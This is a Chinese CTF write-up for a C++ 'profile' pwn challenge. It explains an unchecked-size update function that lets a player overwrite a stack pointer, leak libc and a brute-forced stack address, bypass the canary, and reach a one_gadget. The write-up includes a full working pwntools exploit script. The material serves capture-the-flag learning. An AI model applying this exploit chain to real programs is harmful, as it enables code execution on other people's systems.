栈溢出&暴力泄露栈地址
这个方法我做了一天,真是差劲
程序分析:
这题是用c++编写的程序,用ida打开很奇怪,一大串c++的特征,有点难看。但是功能很简单:
- 登陆:输入姓名,年龄和简介信息
- update:修改简介信息
- show:显示姓名 年龄 和 简介信息
- exit:退出程序
程序开启了canary,no PIE
程序对个人信息用一个结构体来维护,这个结构体保存在栈上:结构体和部分栈结构如下
info{
char* message_ptr;
int64 m1; //0xf
char message[0x10]
char* name_ptr;
int64 m2; //0x8
char name[0x8];
int64 m3;
int64 age;
}
canary
int64
int64
rbp
return_addr(__libc_start_main+240)
动态调试栈如下所示:
利用:
在调试中发现,如果登陆时设定的name字符串的长度超过0x8,那么程序会分配一个堆块,并且将字符串存入堆块中,反之则将name字符串存放在栈上的结构体中,相应的,name_ptr可能会指向堆块或者栈。如果登陆时设定的message字符串的长度超过0x10,那么同样分配一个堆块来存放,并且name_ptr将指向堆块,反之指向栈上的结构体内部。
本方法在登陆时保证message_ptr和name_ptr均指向结构体内部,即栈地址。所以在登陆时输入的len(name)<=0x8 len(message)<=0xf
漏洞:
update函数会修改message_ptr指向的message[0x10]的内容,并且没有任何size检查,可以导致数组越界,从而覆盖name_ptr,覆盖main函数的返回地址,导致栈溢出攻击。
过程:
- 利用update函数覆盖name_ptr指针为got表上的任意函数地址,因为no PIE,所以got表地址固定
- 然后用show函数打印出name_ptr指向地址的值,即got表上的值,获得libc基址
- 考虑泄露cannay的值,那么需要获得canary在栈上的地址。由于只能通过覆盖name_ptr来获得对应地址的内容,所以思考有什么地址记录栈的地址呢?
- 尝试从程序空间寻找记录栈地址的变量和从libc空间寻找记录栈地址的变量
pwndbg> searchmem 栈地址的高4个字节 map名
程序空间没有变量记录了栈地址信息,而libc中有一个叫"program_invocation_short_name"的变量记录了程序名在栈上的位置
- 5.由于我们获得了libc基址,所以可以定位到这个变量在libc中的地址,利用步骤1,2获得上述变量记录的栈地址,但是发现这个栈地址与cannary的栈地址偏移不是固定的,经过观察其规律,发现它们的偏移在0x2500之内变化,所以考虑暴力寻找。
首先将获取的栈地址a对齐:a = a&0xfffffffffffffff0(这里也可以是0xfffffffffffff000,因为发现canary距离a很远)
- 6.循环利用1,2步骤,将name_ptr改写为上述的栈地址a,每次循环将a自减0x8,直到泄露出来的地址与(__libc_start_main+240)相等,那么就能够得到精确的栈地址。
- 7.利用上步计算得到了cannary的栈地址,再次利用update函数溢出覆盖canary和返回地址为one_gadget
结果:
- exp:
from pwn import *
p = process('./profile')
# p = remote('127.0.0.1',2080)
# p=remote("profile.pwn.seccon.jp",28553)
elf=ELF('./profile')
# context.log_level='debug'
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc-2.23.so")
def login():
p.recvuntil("Name >> ")
p.sendline("x"*0x8)
p.recvuntil("Age >> ")
p.sendline("23")
p.recvuntil("Message >> ")
p.sendline("z"*0xe+'#')
def update(message):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Input new message >> ")
p.sendline(message)
def show(get_size):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Name : ")
res=u64(p.recv(get_size).ljust(8,'\0'))
return res
login()
update("a"*0x10+p64(elf.got['__libc_start_main']))
start_main=show(6)
libc.address=start_main-libc.symbols['__libc_start_main']
print("libc_base:"+hex(libc.address))
update("a"*0x10+p64(libc.address+0x3c53d0))
start=libc.symbols['__libc_start_main']+240
print("start+240: "+hex(start))
tmp = show(6)
stack_addr=tmp&0xfffffffffffff000
print("stack_addr:"+hex(stack_addr))
flag=0
for i in range(2000):
update("a"*0x10+p64(stack_addr-i*8))
tmp=show(6)
print("i: "+str(i))
print("current_stack: "+hex(stack_addr-i*8))
print("tmp: "+hex(tmp))
print("start: "+hex(start))
if(tmp==start):
flag=i
# attach(p)
break
canary_addr=stack_addr-flag*8-0x20+1
update("a"*0x10+p64(canary_addr))
canary=show(7)*0x100
print("canary: "+hex(canary))
one_shot=0x45216
payload="a"*0x10+p64(canary_addr-1-0x18)+p64(0x8)+'x'*0x8+p64(0)+p64(0x17)
payload+=p64(canary)+p64(0xdeadbeaf)+p64(0)+p64(0x4016b0)
pop_rax_pp_ret=0x1435B1
payload+=p64(libc.address+pop_rax_pp_ret)+p64(0)+p64(0)+p64(0)+p64(libc.address+one_shot)
update(payload)
attach(p)
p.recvuntil(">> ")
p.sendline("0")
p.interactive()
另一种泄露栈地址的方法:
因为name_ptr本来就指向栈上地址,所以只需要修改name_ptr的低一个字节,那么它还是指向栈地址,通过比较返回的信息,来判断准确的cannary栈地址,暴力循环次数远远小于我上面用到的方法!!!我的方法少则循环几十次,多则上千次。而这种仅仅需要几十次。还是太固执了。